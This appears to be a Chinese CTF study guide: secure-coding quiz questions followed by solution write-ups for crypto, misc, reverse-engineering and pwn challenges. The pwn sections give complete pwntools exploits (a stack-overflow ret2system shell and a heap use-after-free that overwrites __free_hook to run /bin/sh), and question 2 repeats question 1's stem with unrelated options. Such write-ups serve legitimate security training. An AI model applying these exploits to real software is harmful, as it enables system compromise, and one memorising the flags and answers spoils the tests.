理论题:
1.在PHP中,以下选项中哪一个运算符含义为x绝对等于y。
A.x=y
B.x = = y
C.x===y
D.x !==y
2.在PHP中,以下选项中哪一个运算符含义为x绝对等于y:
A.无限制
B.有规则的文件名
C.白名单
D.黑名单
3.读取外部传入XML文件时,XML解析器初始化过程中应该设置()
A.关闭DTD解析
B.关闭XML解析
C.打开DTD解析
D.关键字过滤
4.代码安全审计规范中规定审计过程包括四个阶段:审计准备、审计实施、审计报告、()。
A.改进跟踪
B.前瞻审计
C.形成报告
D.档案归档
5.代码安全审计准备阶段,应该了解项目的应用场景、目标客户、开发内容、()。
A.代码
B.开发者遵循的标准和流程C
.开发者编写的测试代码
D.开发者所用的开发工具
6.对于可重放的敏感操作请求,需部署()防御机制
A.SSRF
B.CSRF
C.SSTI
D.RCE
7.开发人员编写前端代码时,应该避免使用(),转为使用(),以此避免注入攻击。
A.eval、function
B.escape、encodeURlComponent
C. eval、JSON.parse
D.eval、console.log
8.在web开发过程中,与用户相关的重要操作建议采用下列哪项措施。
A.密码要小于6位方便记忆
B.验证码使用后不要失效
C.接收短信验证码
D.同一密码多次使用
9.以下远程运维中,不存在风险行为的是()。
A.将可能存在安全风险的终端接入内部网络进行运维
B.使用TLS协议加密传输通道
C.仅记录运维操作日志中的操作人及操作时间
D.使用DES算法加密敏感数据
10.针对防止敏感文件泄漏以下做法错误的是()。
A.删除网站.git相关文件
B.应用系统操作手册外传gitee
C.禁止将系统开发源码上传github
D.删除网站.svn文件
真题及工具下载地址:www.whsjyc.cn
第一题:爬虫协议(web类题目)
1.1 题目描述:
小兰同学在开发网站时了解到一个爬虫协议,该协议指网站可建立一个特别的txt文件来告诉搜索引擎哪些页面可以抓取,哪些不可以抓取,而搜索引擎则通过读取该txt文件来识别这个页面是否允许被抓取,爬虫协议并不是一个规范而只是约定俗成的,所以不能保证网站的隐私。
1.2 题目界面:
打开题目网址
编辑
1.3 解题步骤:
1):尝试访问robots.txt文件
编辑
2):尝试访问0f3f8d7ec56c0c50f9d73724902648a5
编辑
3):尝试访问0f3f8d7ec56c0c50f9d73724902648a5/da87bd9aca438bf00a80d12c8912f3a0
编辑
4):得到flag{42d5c8f1-259d-462c-a8bd-4bc1f50d354d}
第二题:流量分析(Misc杂项类题目)
2.1 解题步骤:
1):用wireshark打开题目所给文件
编辑
2):导出对象
编辑
3):选择HTTP对象导出
编辑
4):用记事本打开flag%20%7cbase64%20-w%200%27);文件
编辑
5):base64解密文件内容ZmxhZ3s3ZDZmMTdhNC0yYjBhLTQ2N2QtOGE0Mi02Njc1MDM2OGMyNDl9Cg==得到flag{7d6f17a4-2b0a-467d-8a42-66750368c249}
编辑
第三题:AES加密(Crypto密码学类题目)
3.1 题目界面:
编辑
3.2 解题步骤:
1):分析得出:题目界面已经告诉我们采用的是AES加密,并且告诉我们key是gamelab@gamelab@,IV是gamelab@gamelab@,Mode是CBC模式,输出为Hex十六进制4da72144967f1c25e6273950bf29342aae635e2396ae17c80b1bff68d90f16679bb45c15852e0ce88d4864d93e9e3be2
2):打开解密工具cc(CyberChef),输入key,IV,Mode以及密文,点击decode解密得到flag{6500e76e-15fb-42e8-8f29-a309ab73ba38}
编辑
第四题:RSA加密(Crypto密码学类题目)
4.1 题目文件为task.py,文件代码内容如下所示
编辑
from Crypto.Util.number import * from gmpy2 import * flag = b'xxx' m = bytes_to_long(flag) p = getPrime(512) q = next_prime(p) e = 65537 n = p * q phi = (p - 1) * (q - 1) d = inverse(e, phi) d1 = d % q d2 = d % p c = pow(m, e, n) print(n) print(d1) print(d2) print(c) # 94581028682900113123648734937784634645486813867065294159875516514520556881461611966096883566806571691879115766917833117123695776131443081658364855087575006641022211136751071900710589699171982563753011439999297865781908255529833932820965169382130385236359802696280004495552191520878864368741633686036192501791 # 4218387668018915625720266396593862419917073471510522718205354605765842130260156168132376152403329034145938741283222306099114824746204800218811277063324566 # 9600627113582853774131075212313403348273644858279673841760714353580493485117716382652419880115319186763984899736188607228846934836782353387850747253170850 # 36423517465893675519815622861961872192784685202298519340922692662559402449554596309518386263035128551037586034375613936036935256444185038640625700728791201299960866688949056632874866621825012134973285965672502404517179243752689740766636653543223559495428281042737266438408338914031484466542505299050233075829
4.2 解题步骤:
1):分析得出:我们得知道这个算法的原理,就是现在p,q是两个素数Q,而且他俩在素数序列里面就是一前一后的关系。所以我们要把他俩的乘积开根号得到的结果一定是在p,q之间的一个数字,(而且一定不是素数,因为p,q就是紧邻的两个素数)。那我们找这个开方出来的数字的下一个素数,一定是q,因此我们再让n/q就可以得到两个素数。
2):解法一,得到flag{5f00e1b9-2933-42ad-b4e1-069f6aa98e9a}:
import gmpy2 import sympy # import Cryptodome.Util.number from Crypto.Util.number import * import binascii n=94581028682900113123648734937784634645486813867065294159875516514520556881461611966096883566806571691879115766917833117123695776131443081658364855087575006641022211136751071900710589699171982563753011439999297865781908255529833932820965169382130385236359802696280004495552191520878864368741633686036192501791 x=gmpy2.iroot(n,2)[0]# 取第0个元素,也就是第一个元素 p=sympy.nextprime(x) q=n//p e=65537 d=gmpy2.invert(e,(p-1)*(q-1)) print(p) print(q) print(d) c=36423517465893675519815622861961872192784685202298519340922692662559402449554596309518386263035128551037586034375613936036935256444185038640625700728791201299960866688949056632874866621825012134973285965672502404517179243752689740766636653543223559495428281042737266438408338914031484466542505299050233075829 m=pow(c,d,n) print(m) print(long_to_bytes(m))
编辑
3):解法二,直接yafu分解n,得到p,q的值,然后计算得到flag。
第五题:DWT盲水印(Misc杂项类题目)
5.1 题目文件如下所示:
编辑
5.2 解题步骤:
1):破解orign压缩包:打开压缩包发现压缩包里面的serect.txt是密码字典,未加密,可以解压出来,然后用serect.txt字典破解压缩包orign.zip,得到a.png也就是原始图片。
2):打开lose.py分析发现为DWT盲水印代码:
class WaterMarkDWT: def __init__(self, origin: str, watermark: str, key: int, weight: list): self.key = key self.img = cv2.imread(origin) self.mark = cv2.imread(watermark) self.coef = weight def arnold(self, img): r, c = img.shape p = np.zeros((r, c), np.uint8) a, b = 1, 1 for k in range(self.key): for i in range(r): for j in range(c): x = (i + b * j) % r y = (a * i + (a * b + 1) * j) % c p[x, y] = img[i, j] return p def deArnold(self, img): r, c = img.shape p = np.zeros((r, c), np.uint8) a, b = 1, 1 for k in range(self.key): for i in range(r): for j in range(c): x = ((a * b + 1) * i - b * j) % r y = (-a * i + j) % c p[x, y] = img[i, j] return p def get(self, size: tuple = (1200, 1200), flag: int = None): img = cv2.resize(self.img, size) img1 = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY) img2 = cv2.cvtColor(self.mark, cv2.COLOR_RGB2GRAY) c = pywt.wavedec2(img2, 'db2', level=3) [cl, (cH3, cV3, cD3), (cH2, cV2, cD2), (cH1, cV1, cD1)] = c d = pywt.wavedec2(img1, 'db2', level=3) [dl, (dH3, dV3, dD3), (dH2, dV2, dD2), (dH1, dV1, dD1)] = d a1, a2, a3, a4 = self.coef ca1 = (cl - dl) * a1 ch1 = (cH3 - dH3) * a2 cv1 = (cV3 - dV3) * a3 cd1 = (cD3 - dD3) * a4 waterImg = pywt.waverec2([ca1, (ch1, cv1, cd1)], 'db2') waterImg = np.array(waterImg, np.uint8) waterImg = self.deArnold(waterImg) kernel = np.ones((3, 3), np.uint8) if flag == 0: waterImg = cv2.erode(waterImg, kernel) elif flag == 1: waterImg = cv2.dilate(waterImg, kernel) cv2.imwrite('水印.png', waterImg) return waterImg if __name__ == '__main__': img = 'a.png' k = 20 xs = [0.2, 0.2, 0.5, 0.4] W1 = WaterMarkDWT(img, waterImg, k, xs)
3):编写exp.py得到flag.png:
import cv2 import pywt import numpy as np class WaterMarkDWT: def __init__(self, origin: str, watermark: str, key: int, weight: list): self.key = key self.img = cv2.imread(origin) self.mark = cv2.imread(watermark) self.coef = weight def arnold(self, img): r, c = img.shape p = np.zeros((r, c), np.uint8) a, b = 1, 1 for k in range(self.key): for i in range(r): for j in range(c): x = (i + b * j) % r y = (a * i + (a * b + 1) * j) % c p[x, y] = img[i, j] return p def deArnold(self, img): r, c = img.shape p = np.zeros((r, c), np.uint8) a, b = 1, 1 for k in range(self.key): for i in range(r): for j in range(c): x = ((a * b + 1) * i - b * j) % r y = (-a * i + j) % c p[x, y] = img[i, j] return p def get(self, size: tuple = (1200, 1200), flag: int = None): img = cv2.resize(self.img, size) img1 = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY) img2 = cv2.cvtColor(self.mark, cv2.COLOR_RGB2GRAY) c = pywt.wavedec2(img2, 'db2', level=3) [cl, (cH3, cV3, cD3), (cH2, cV2, cD2), (cH1, cV1, cD1)] = c d = pywt.wavedec2(img1, 'db2', level=3) [dl, (dH3, dV3, dD3), (dH2, dV2, dD2), (dH1, dV1, dD1)] = d a1, a2, a3, a4 = self.coef ca1 = (cl - dl) * a1 ch1 = (cH3 - dH3) * a2 cv1 = (cV3 - dV3) * a3 cd1 = (cD3 - dD3) * a4 waterImg = pywt.waverec2([ca1, (ch1, cv1, cd1)], 'db2') waterImg = np.array(waterImg, np.uint8) waterImg = self.deArnold(waterImg) kernel = np.ones((3, 3), np.uint8) if flag == 0: waterImg = cv2.erode(waterImg, kernel) elif flag == 1: waterImg = cv2.dilate(waterImg, kernel) cv2.imwrite('水印.png', waterImg) return waterImg if __name__ == '__main__': img = 'a.png' newImg='newImg.png' k = 20 #xs = [0.2, 0.2, 0.5, 0.4] coef=[5,5,2,2.5] #waterImg='flag.png' W1 = WaterMarkDWT(img, newImg, k, coef) waterimg=W1.get()
编辑
第六题:Reverse逆向RC4(Reverse逆向类题目)
6.1 题目文件rc4.exe如下所示:
编辑
6.2 解题步骤:
1):die检测无壳,32位程序。
编辑
2):用IDA32打开,发现key为gamelab@,提取数组v5进行RC4解密得到flag。
编辑
编辑
编辑
第七题:ECDSA椭圆曲线数字签名算法(Crypto密码学类题目)
7.1 题目代码如下所示:
import ecdsa import random def ecdsa_test(dA,k): sk = ecdsa.SigningKey.from_secret_exponent( secexp=dA, curve=ecdsa.SECP256k1 ) sig1 = sk.sign(data=b'Hi.', k=k).hex() sig2 = sk.sign(data=b'hello.', k=k).hex() r1 = int(sig1[:64], 16) s1 = int(sig1[64:], 16) s2 = int(sig2[64:], 16) return r1,s1,s2 if __name__ == '__main__': n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 a = random.randint(0,n) flag = 'flag{' + str(a) + "}" b = random.randint(0,n) print(ecdsa_test(a,b)) # (4690192503304946823926998585663150874421527890534303129755098666293734606680, 111157363347893999914897601390136910031659525525419989250638426589503279490788, 74486305819584508240056247318325239805160339288252987178597122489325719901254)
7.2 代码分析:
椭圆曲线数字签名算法,它利用椭圆曲线密码学(ECC)对数字签名算法(DSA)进行模拟,其安全性基于椭圆曲线离散对数问题。但是当某些数值相同时会出现一些安全问题。
分析代码可以看出,存在随机数重复使用。具体来说,这段代码中签名的过程中使用了相同的随机数 k 来对不同的消息进行签名。这种情况下,可以通过分析两个相同 k 值对应的消息签名来恢复私钥 dA。
在 ECDSA 中,每次签名过程中都会使用一个随机数 k,以确保生成唯一的签名。然而,如果相同的随机数 k 被重复使用来对不同的消息进行签名,攻击者就有可能通过数学分析和推导计算出私钥 dA。
7.3 exp代码:
import sympy from hashlib import sha1 from Cryptodome.Util.number import long_to_bytes , bytes_to_long def calculate_private_key(r1, s1, s2, h1, h2, n): # 计算k值 k = ((h1 - h2) * sympy.mod_inverse(s1 - s2, n)) % n # 计算私钥dA dA = (sympy.mod_inverse(r1, n) * (k * s1 - h1)) % n return dA if __name__ == "__main__": # 定义椭圆曲线的参数 n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 # 签名中的r1, s1, s2值 r1 = 4690192503304946823926998585663150874421527890534303129755098666293734606680 s1 = 111157363347893999914897601390136910031659525525419989250638426589503279490788 s2 = 74486305819584508240056247318325239805160339288252987178597122489325719901254 h1 = bytes_to_long(sha1(b'Hi.').digest()) h2 = bytes_to_long(sha1(b'hello.').digest()) private_key = calculate_private_key(r1, s1, s2, h1, h2, n) print(f'flag{{{private_key}}}')
获得flag{40355055231406097504270940121798355439363616832290875140843417522164091270174}
编辑
第八题:Reverse逆向xxtea(Reverse逆向类题目)
8.1 题目描述如下:
Flag被使用了算法分成若干个小块,每个块使用相同的加密解密方法,但这个算法是对称加密,请分析密文并还原。
8.2 题目文件happytime
编辑
8.3 解题步骤
1):die检测无壳,64位程序。
编辑
2):拖进IDA分析。
printf输出提示信息Let’s have a drink,pay your answer(flag):,read在键盘读取flag输入,重要的关键函数是cry加密函数,接受v5和输入的flag,这里的11应该是flag被分割成了11组,最后一个循环比较加密后的flag和V6,刚好和上面v6数组对应:
编辑
3):根据cry函数的特征,可以判定这是XXTEA加密无疑,找到其中的DELTA,密文(main函数中的v6),和key(前面main函数的V5),即可编写脚本解密(输出的时候注意大小端序):
编辑
#include <stdbool.h> #include <stdio.h> #define MX (((z >> 5) ^ (y << 2)) + ((y >> 3) ^ (z << 4)) ^ (sum ^ y) + (k[(p & 3) ^ e] ^ z)) bool btea(unsigned int *v, int n, unsigned int *k) { unsigned int z = v[n - 1], y = v[0], sum = 0, e, DELTA = 0x61C88647; unsigned int p, q; if (n > 1) { /* enCoding Part */ q = 415 / n + 114; while (q-- > 0) { sum += DELTA; e = (sum >> 2) & 3; for (p = 0; p < (n - 1); p++) { y = v[p + 1]; z = v[p] += MX; } y = v[0]; z = v[n - 1] += MX; } return 0; } else if (n < -1) { /* Decoding Part */ n = -n; q = 415 / n + 114; sum = -q * DELTA; while (sum != 0) { e = (sum >> 2) & 3; for (p = n - 1; p > 0; p--) { z = v[p - 1]; y = v[p] -= MX; } z = v[n - 1]; y = v[0] -= MX; sum += DELTA; } return 0; } return 1; } int main() { unsigned int v[11] = {0x480AC20C, 0xCE9037F2, 0x8C212018, 0xE92A18D, 0xA4035274, 0x2473AAB1, 0xA9EFDB58, 0xA52CC5C8, 0xE432CB51, 0xD04E9223, 0x6FD07093}, key[4] = {0x79696755, 0x67346F6C, 0x69231231, 0x5F674231}; int n = 11; // n为要加密的数据个数 btea(v, -n, key); // 取正为加密,取负为解密 char *p = (char *)v; for (int i = 0; i < 44; i++) { printf("%c", *p); p++; } return 0; } //flag{efccf8f0-0c97-12ec-82e0-0c9d9242e335}
第九题:Pwn栈溢出(Pwn二进制漏洞类题目)
9.1 题目描述如下:
小蓝同学学习了栈溢出的知识后,又了解到linux系统中文件描述符(File Descriptor)是一个非常重要的概念,它是一个非负整数,用于标识一个特定的文件或其他输入输出资源,如套接字和管道。
9.2 题目文件fd
编辑
9.3 代码分析
1):checksec,64位程序。
编辑
2):IDA64打开程序。
编辑
编辑
首先读取最多0xE(14)个字符到bss段的变量info中,然后读取最多0x48到栈变量buf,但是buf只有32个字符长度,此处read(0,buf,0x48uLL)代码存在buf栈溢出。
编辑
并且继续寻找发现程序提供了system函数,,显而易见,直接ret2shellcode
编辑
有一个check限制函数:不能使用/binsh、/sh、cat等字符串作为system参数,因此可以使用$0启动shell。但是又存在一个问题,close(1)关闭了stdout,因此需要将stdout重定向到stderr使正常输出。
9.4 exp代码:
栈溢出
第一个 read 放要执行的命令
第二个 read 去栈溢出,pop_rdi 放bss 里的命令,再执行 system
进入之后输入 exec1>&2或#完成重定向 即可回显,
编辑
from pwn import * context(arch = 'amd64', os = 'linux', log_level = 'debug') io = process('./pwn') elf = ELF('./pwn') bss = 0x601090 system = elf.plt['system'] pop_rdi_ret = 0x400933 ret = 0x4005ae # shellcode io.sendline(b'$0') # ret2shellcode payload = b'A'*0x20 + b'deadbeef' + p64(ret) + p64(pop_rdi_ret) + p64(bss) + p64(system) io.sendline(payload) # getFlag io.sendline(b'exec 1>&2') io.sendline(b'cat /flag') io.interactive()
编辑
第十题:Pwn堆漏洞之UAF(Pwn二进制漏洞类题目)
10.1 题目描述如下:
小蓝同学第二次尝试使用C语言编写程序时,由于缺乏良好的安全开发经验和习惯,导致了未初始化的指针漏洞(Use After Free,UAF漏洞)。在他的程序中,他没有正确释放动态分配的内存空间,并且在之后继续使用了已经释放的指针,造成了悬空指针的问题。这种错误会导致程序在运行时出现未定义的行为,可能被恶意利用来执行恶意代码,破坏数据或者系统安全性。你能找到该漏洞并利用成功吗?
10.2 题目文件ezheap:
1):checksec,64位程序。
编辑
编辑
2):IDA64打开程序。
编辑
编辑
编辑
编辑
编辑
编辑
编辑
10.4 exp代码:
from pwn import * # p=remote('45.32.110.230',20549) FILENAME='./pwn' p=process(FILENAME) elf=ELF(FILENAME) libc=ELF('./libc.so.6') def create(Content=b'a\n'): p.recvuntil(b'4.exit',timeout=1) p.sendline(b'1') p.send(Content) def free(id): p.recvuntil(b'4.exit',timeout=1) p.sendline(b'2') p.sendline(bytes(str(id),encoding='utf-8')) def show(id): p.recvuntil(b'4.exit',timeout=1) p.sendline(b'3') p.sendline(bytes(str(id),'utf-8')) def uaf(id): p.recvuntil(b'4.exit',timeout=1) p.sendline(b'2106373') p.sendline(bytes(str(id),'utf-8')) payload=b'\x00'*0x18+p64(0x61) for i in range(14): create(payload)#0-13 for i in range(7,0,-1): free(i) uaf(0) create(b'A')#1 free(0) show(1) p.recvuntil(b'A') heap_add=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')) heapbase=(heap_add<<8)-0x300 success('heapbase '+hex(heapbase)) payload=p64(heapbase+0x2c0-0x10)+b'\n' create(payload)#0,double for i in range(6): # x /20gx 0x555555558060 create()#2-7 create()#14,0 payload=b'\x00'*0x38+p64(0x60*12+1) create(payload)#15 free(1) create(b'A')#1 show(1) libc_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) libcbase=libc_add-0x1ecf41 success('libcbase '+hex(libcbase)) free(10) free(1) create(p64(0)*3+p64(0x61)) free(1) free(15) free_hook=libcbase+libc.symbols['__free_hook'] system_add=libcbase+libc.symbols['system'] payload=b'\x00'*0x38+p64(0x61)+p64(free_hook) create(payload)#1,over create(b'/bin/sh\x00\n')#10 create(p64(system_add)+b'\n') free(10) # gdb.attach(p) p.sendline(b'cat flag') p.interactive()